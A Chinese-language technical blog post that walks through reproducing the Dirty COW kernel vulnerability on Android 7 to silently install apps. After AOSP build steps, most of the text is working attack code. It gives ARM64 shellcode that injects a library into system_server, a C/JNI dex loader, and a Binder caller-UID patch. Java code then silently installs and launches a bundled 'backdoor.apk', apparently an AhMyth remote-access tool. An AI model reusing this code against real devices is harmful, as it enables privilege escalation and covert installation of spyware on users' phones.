臟牛漏洞安卓復現
最近花了一些時間研究如何在Android系統上復現臟牛漏洞以及如何利用臟牛漏洞實現應用的靜默安裝,中間遇到了許多問題,這里做一個簡單的記錄與整理。
這篇文章主要介紹整個分析環境的配置過程、漏洞觸發后的應用靜默安裝實現原理、需要用到的調試方法,以及一些可能遇到的問題。
編譯可調式安卓系統
準備工具
- Ubuntu14.04(官方編譯推薦系統版本,推薦使用docker)
- Nexus 6P(谷歌親兒子,刷機什么的比較方便)
- 配置要求:內存最好在16G以上(編譯Android7.0占用內存會較多)
下載源碼
更多細節參考清華大學鏡像站
Note:下載可以支持Nexus 6P的版本,具體信息可查看版本編號及支持
配置編譯環境
詳細過程參考谷歌官方
需要注意的是Android6.0 和Android7.0對openjdk版本要求不同
Note: 一定要嚴格按照官方的步驟來,這樣可以減少編譯出錯的可能性
編譯
編譯過程比較慢,推薦使用Ccache + 服務器編譯(并沒有CCache帶來的性能提升進行過實際的對比測試,所以這里可用也可不用)
- 加載環境變量
source build/envsetup.sh
- 選擇編譯目標
root@94a6988dc437:/data/AOSP/android-7.1.1_r27# lunch
You're building on Linux
Lunch menu... pick a combo:
1. aosp_arm-eng
2. aosp_arm64-eng
3. aosp_mips-eng
4. aosp_mips64-eng
5. aosp_x86-eng
6. aosp_x86_64-eng
7. full_fugu-userdebug
8. aosp_fugu-userdebug
9. mini_emulator_arm64-userdebug
10. m_e_arm-userdebug
11. m_e_mips-userdebug
12. m_e_mips64-eng
13. mini_emulator_x86-userdebug
14. mini_emulator_x86_64-userdebug
15. aosp_dragon-userdebug
16. aosp_dragon-eng
17. aosp_marlin-userdebug
18. aosp_sailfish-userdebug
19. aosp_flounder-userdebug
20. aosp_angler-userdebug
21. aosp_bullhead-userdebug
22. hikey-userdebug
23. aosp_shamu-userdebug
Which would you like? [aosp_arm-eng] 20
nexus 6P對應的設備編號是angler,nexus 6的設備編號是shamu。因為userdebug版本擁有原生root及系統調試功能,所以這里選擇編譯該版本。
- 開始編譯
編譯腳本如下:
#/bin/bash
export USER=root
export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4g"
if [ "$1" != "" -a $1 != "2" ]; then
make -j$1
else
make -j2
fi
**Note: **
export USER=root
編譯的過程中會用到USER
變量export JACK_SERVER_VM_ARGUMENTS
給java虛擬機設置4G內存
線程數根據電腦配置選擇,一般為2×CPUs + 2就夠了(具體參數可根據實際情況調整)
刷機
編譯完成后就可以準備把編譯好的系統刷到手機里面了
- 準備驅動文件
根據編譯的系統版本下載對應的工廠鏡像,比如我編譯的時候使用的是Android7.1.1_r27,對應的編譯版本號為NUF26N。這個版本比較新,可以直接到驅動頁面下載。
Note: 對于比較老的版本,驅動頁面并沒有提供相應的驅動下載,使用從工廠鏡像中提取的驅動也不能啟動系統,這里暫時沒有解決方案,所以臨時的解決辦法是在比較新的版本上編譯調試分析,然后使用工廠鏡像在老的系統中測試漏洞效果。當然,如果我們只需要要調試native層的代碼,可以編譯出對應版本的調試版,然后再去替換掉對應的so庫。
臟牛漏洞測試
項目參考VIKIROOT
根據項目介紹,攻擊成功后可以獲得一個帶root權限的shell,但其針對的版本是Android6.0。在Android7.0上并不能得到帶root權限的shell,通過調試發現是selinux機制阻擋了這一攻擊。事實上Android7.0的selinux的規則比Android6.0上的規則要復雜很多,因此在Android6.0上可以利用成功,但在Android7.0上是失敗的。
配置交叉編譯環境
后續的步驟會涉及到三種代碼的編譯:C、ARM、JAVA
-- ARM
編譯shellcode
-- C
編譯JNI調用Java代碼
-- Java
功能模塊,完成后續的應用安裝及授權操作配置NDK patch
在Android里面Java和C代碼的相互調用需要用到jni接口。一般情況下,如果我們開發的是一個正常的app,操作系統會主動給APP提供一個JNIEnv* env的參數。但我們注入的C代碼并不具備這樣的條件,所以需要調用NDK未公開API——android::AndroidRuntime::getJNIEnv() 來獲取jni接口。如果要使用這個接口的話,需要對NDK做一些patch。Java代碼打包
因為后面需要用到dex動態加載,所以先介紹一下如何把class文件打包成dex文件。
這里為了方便操作以及保證使用Java版本的一致性,先是使用AndroidStudio編譯出相應的class文件,并使用jar命令進行打包,然后再使用dx命令將對象轉換成dex文件
13 # compile dex
14 rm com -r
15 cp test/JniLoadDex/app/build/intermediates/classes/debug/com com -r
16 jar cvf inject.jar com
17 dx --dex --output=inject.dex inject.jar
選擇注入進程
因為system_server在Android系統中起著至關重要的作用(安裝應用、Acitivity管理、其他系統服務等),因此如果能夠控制system_server則意味著我們已經可以控制整個系統的運行。
任意Java代碼執行
當然,因為shellcode本身并不知道dlopen的函數地址,所以我們第一步需要做的是確定dlopen函數和dlsym函數的地址。
** Note: ** 事實上,我們并不需要首先使用dlopen對加載需要的庫,因為系統在啟動時已經將對應的庫加載了,可以直接使用dlsym(RTLD_NEXT, funcname)去獲取對應的函數地址。并且經過測試,發現在Android7.0中使用dlopen會映射新的so庫,這就導致無法使用native反調java代碼,因為對應的全局變量并沒有經過初始化。
如果我們嘗試去打印linker段的內存,我們可以看到下面的內容
0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p /system/bin/linker64
0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000 0x0
0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>: 0x0 0x0
0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
事實上,vdso和linker之間的偏移量也是固定的
0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
0x000000790fee5000 0x000000790fee8000 r--p /system/bin/linker64
0x000000790fee8000 0x000000790fee9000 rw-p /system/bin/linker64
**Note: ** 不同版本的系統內存映射可能不太一樣,但在Android下面每一個APP都是由Zygote調用fork產生的,所以編寫一個APP就可以得到相關的偏移量。另外一個需要注意的問題是,不同版本的系統也會導致linker段上存儲__dl_dlopen函數和__dl_symbol函數地址的偏移量發生改變。當然了,這個也可以通過APP來進行預處理。
有了以上的準備之后,就可以加載so庫了
//加載so庫的shellcode
.equ SYS_OPENAT, 0x38
.equ SYS_WRITE, 0x40
.equ SYS_CLOSE, 0x39
.equ SYS_SOCKET, 0xc6
.equ SYS_CONNECT, 0xcb
.equ SYS_BIND, 0xc8
.equ SYS_LISTEN, 0xc9
.equ SYS_DUP3, 0x18
.equ SYS_CLONE, 0xdc
.equ SYS_EXECVE, 0xdd
.equ SYS_EXIT, 0x5d
.equ SYS_READLINKAT, 0x4e
.equ SYS_GETUID, 0xae
.equ SYS_GETPID, 0xac
.equ AF_INET, 0x2
.equ AF_UNIX, 0x1
.equ O_EXCL, 0x80
.equ O_CREAT, 0x40
.equ O_APPEND, 0x400
.equ S_IRWXU, 0x1c0
.equ O_WRONLY, 0x1
.equ SOCK_STREAM, 0x1
.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ SIGCHLD, 0x11
.equ SHELL_IP, 0x682e020a //ip: 10.2.46.104
.equ SHELL_PORT, 0x5d11 //port: 4445
.equ LOCALHOST_IP, 0x0100007f //ip: 127.0.0.1
.equ UID_SYSTEM, 1000
_start:
// save enviroment
stp x0, x1, [sp, #-0x10]!
// determine whether current process is root
// (or some specific) process
mov x8, SYS_GETUID
svc 0
cmp w0, UID_SYSTEM
b.ne return
// try openat("/data/lock", O_CREAT|O_EXCL, ?)
// if failed, exit
// just for avoiding conflict
mov x0, 0
adr x1, lockfile
mov x2, O_CREAT|O_EXCL
mov x3, S_IRWXU
mov x8, SYS_OPENAT
svc 0
cmp w0, #0
b.le return
add sp, sp, #-0x30
stp x16, x30, [sp, 0x10]
adr x1, 0
and x1, x1, #0xfffffffffffff000
// offset depends on the addr distance between vdso and .bss section of linker64
// for example, with vmmap like below
// 0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
// 0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
// 0x000000790fee5000 0x000000790fee8000 r--p /system/bin/linker64
// 0x000000790fee8000 0x000000790fee9000 rw-p /system/bin/linker64
// .bss of linker64 start address is 0x000000790fee8000
// .text of linker64 start address is 0x000000790fe3b000
// what's more ?
// In the shellcode, we can locate ourself
// and the offset to vdso end is always 0x1000
// so the total offset is 0x000000790fe3b000 - 0x000000790fee8000 + 0x1000
//add x1, x1, 0xae000
add x1, x1, 0x2000
// now let's go to find dlopen and dlsym
// in bss setion of linker64
// we can find data like below:
// 0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p /system/bin/linker64
//
// 0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000 0x0
// 0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
// 0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
// 0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>: 0x0 0x0
// 0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
// 0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
// 0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
// 0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
// 0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
// 0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
// so things are pretty easy
// we just need to add some offset to .bss start address, and then we can get dlopen and dlsym
add x2, x1, 0x48 //0x48, 0x88
ldr x3, [x2] //get __dl_dlopen
add x2, x1, 0x78 //0x78, 0xb8
ldr x4, [x2] //get __dl_dlsym
stp x3, x4, [sp, 0]
add x2, x1, 0xa0
//lhandle = dlopen("target.so", LD_NOW)
adr x0, sopath
mov x1, 2
ldr x3, [sp]
blr x3
str x0, [sp, 0x20]
//libentry = dlsym(lhandle, "libentry")
adr x1, fun_libentry
ldr x3, [sp, #8]
blr x3
blr x0
ldp x16, x30, [sp, 0x10]
add sp, sp, #0x30
return:
ldp x0, x1, [sp]
add sp, sp, 0x10
mov x17, x30
mov x30, x16
cmp w0, #0x0
ccmp w0, #0x1, #0x4, ne
br x17
exit:
mov x0, 0
mov x8, SYS_EXIT
svc 0
shell_addr:
.short AF_INET
.short SHELL_PORT
.word LOCALHOST_IP
lockfile:
.string "/data/lock"
.balign 4
sopath:
.string "/data/libinject.so"
.balign 4
fun_libentry:
.string "shellcode"
.balign
filepath:
.string "/sdcard/log.txt"
.balign 4
So庫實現代碼
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <jni.h>
#include <android/log.h>
#include <android_runtime/AndroidRuntime.h>
#include <pthread.h>
//#define DEBUG
#ifdef __cplusplus
extern "C"
{
#endif
#define LOG_TAG "haha"
#define LOGD(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG, fmt, ##args)
#define NULL_CHECK(func_name, result) { \
if (result == 0) \
{ \
LOGD("Call function %s failed at line %d", func_name, __LINE__); \
kill(getpid(), SIGKILL); \
exit(0); \
} \
}
void waitfordebugger()
{
int i=0;
while(i < 100000)
{
usleep(100000);
i++;
}
}
jstring C2JString(JNIEnv *env, char *in) {
return env->NewStringUTF(in);
}
void loaddex(JNIEnv *env, char *_dexpath)
{
//查找ClassLoader類并調用靜態方法獲取系統的classloader對象
jclass clazzClassLoader = env->FindClass("java/lang/ClassLoader");
jmethodID mid_getsysloader = env->GetStaticMethodID(clazzClassLoader,
"getSystemClassLoader",
"()Ljava/lang/ClassLoader;");
jobject parent_loader = env->CallStaticObjectMethod(clazzClassLoader, mid_getsysloader);
//查找DexClassLoader類并且創建對象生成優化后的dex
jclass clazzDexClassLoader = env->FindClass("dalvik/system/DexClassLoader");
jmethodID mid_DexClassLoader = env->GetMethodID(clazzDexClassLoader,
"<init>",
"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
jstring dexpath = C2JString(env, _dexpath);
jstring odexpath = C2JString(env, "/data/test");
jobject loader = env->NewObject(clazzDexClassLoader, mid_DexClassLoader,
dexpath,
odexpath,
NULL,
parent_loader);
NULL_CHECK("env->NewObject", loader);
//加載需要注入的class
jclass classLoaderClass = env->GetObjectClass(loader);
jmethodID mid_loadClass = env->GetMethodID(classLoaderClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
jclass injectClass = (jclass)env->CallObjectMethod(loader, mid_loadClass, C2JString(env, "com.example.bluecake.jniloaddex.inject"));
//調用入口函數
jmethodID mid_test = env->GetStaticMethodID(injectClass, "test", "()V");
env->CallStaticVoidMethod(injectClass, mid_test);
return;
}
void* entry(void *arg)
{
waitfordebugger();
//do works here
JavaVM *jvm;
JNIEnv *env;
jvm = android::AndroidRuntime::getJavaVM();
env = android::AndroidRuntime::getJNIEnv();
if (env != NULL)
loaddex(env, "/data/inject.dex");
return ;
}
void shellcode(void)
{
pthread_t tid;
pthread_create(&tid, NULL, &entry, NULL);
return ;
}
#ifdef __cplusplus
}
#endif
到這里,按道理已經可以任意安裝了呀,但還有一個問題:應用安裝過程是通過一個system_server里面的一個線程來處理的,和這個線程通信的接口是通過binder進行通信。但是,安裝服務對發起者有一個限制:應用安裝發起者只能是root用戶或特定UID(系統內置應用安裝軟件)。也就是說,我們以system_server的身份發起的應用安裝請求會被直接擋掉。
那么,是不是就沒有辦法了呢?注意到這里使用的臟牛漏洞,所以我們可以修改任意二進制代碼,那么只要在觸發漏洞前把Binder->getCallingUid給patch掉就行了。一開始直接將返回值修改為零,但是發現system_server會反復崩潰并重啟,解決方案是添加一段跳板代碼,如果檢測到發起方是程序自身,則修改返回值,反之保持現狀。
應用安裝的代碼參考系統安裝應用的代碼
//Inject.java源碼
package com.example.bluecake.installapp;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Looper;
import android.util.Log;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Method;
import static android.system.Os.getuid;
/**
* Created by bluecake on 17-8-16.
*/
public class inject {
static String do_exec(String cmd) {
String s = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
s += line + "/n";
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return s;
}
public static void install(final String path)
{
Log.i("haha", "start of test");
new Thread(new Runnable() {
@Override
public void run() {
Log.i("haha", "work thread started");
try{
Looper.prepare();
Class atc = Class.forName("android.app.ActivityThread");
Method systemMainMethod = atc.getDeclaredMethod("systemMain");
Object ActivityThreadInstance = systemMainMethod.invoke(null);
Method getSystemContextMethod = atc.getDeclaredMethod("getSystemContext");
Context context = (Context)getSystemContextMethod.invoke(ActivityThreadInstance);
//開始安裝進程
PackageManager pm = context.getPackageManager();
PackageInstaller packageInstaller = pm.getPackageInstaller();
PackageInstaller.Session session = null;
String pakagePath = path;
File file = new File(pakagePath);
PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
PackageInstaller.SessionParams.MODE_FULL_INSTALL
);
params.setAppPackageName("ahmyth.mine.king.ahmyth");
params.setInstallLocation(-1);
params.setSize(file.length());
int sessionid = packageInstaller.createSession(params);
InputStream inputStream = new FileInputStream(file);
long sizeBytes = file.length();
session = packageInstaller.openSession(sessionid);
OutputStream outputStream = session.openWrite("PackageInstaller", 0, sizeBytes);
int c;
byte[] buffer = new byte[65536];
while((c = inputStream.read(buffer)) != -1)
{
outputStream.write(buffer, 0, c);
}
session.fsync(outputStream);
inputStream.close();
outputStream.close();
// fake intent
Context app = context;
Intent intent = new Intent(app, AlarmReceiver.class);
PendingIntent alarmtest = PendingIntent.getBroadcast(app,
sessionid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
session.commit(alarmtest.getIntentSender());
session.close();
Log.i("haha", "ok, here we go");
}
catch (Exception e)
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String sStackTrace = sw.toString();
Log.i("haha", sStackTrace);
}
}
}).start();
Log.i("haha", "end of test");
}
}
//MainActivity.java源碼
package com.example.bluecake.installapp;
import android.content.Intent;
import android.content.res.AssetManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import static android.system.Os.getuid;
public class MainActivity extends AppCompatActivity {
// Used to load the 'native-lib' library on application startup.
static {
System.loadLibrary("native-lib");
}
public void copyFromAssets(String filename)
{
try {
AssetManager am = getAssets();
InputStream is = am.open(filename);
String DataDir = getDataDir().getPath();
String OutputPath = DataDir + "/" + filename;
OutputStream os = new FileOutputStream(OutputPath);
byte flush[] = new byte[1024];
int len = 0;
while(0<=(len=is.read(flush))){
os.write(flush, 0, len);
}
os.close();
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
copyFromAssets("backdoor.apk");
copyFromAssets("patch");
String patch_path = getDataDir().getPath() + "/patch";
inject.do_exec("chmod 777 " + patch_path);
Button bInstall = (Button)findViewById(R.id.install);
bInstall.setOnClickListener(
new View.OnClickListener() {
@Override
public void onClick(View view) {
String patch_path = getDataDir().getPath() + "/patch";
String result = inject.do_exec(patch_path + " " + getuid());
Log.i("haha", result);
String apk_path = getDataDir().getPath() + "/backdoor.apk";
inject.install(apk_path);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
try {
String PakageName = "ahmyth.mine.king.ahmyth";
String ClassName = "ahmyth.mine.king.ahmyth.MainActivity";
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName(PakageName, ClassName);
startActivity(intent);
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
);
}
/**
* A native method that is implemented by the 'native-lib' native library,
* which is packaged with this application.
*/
public native String stringFromJNI();
}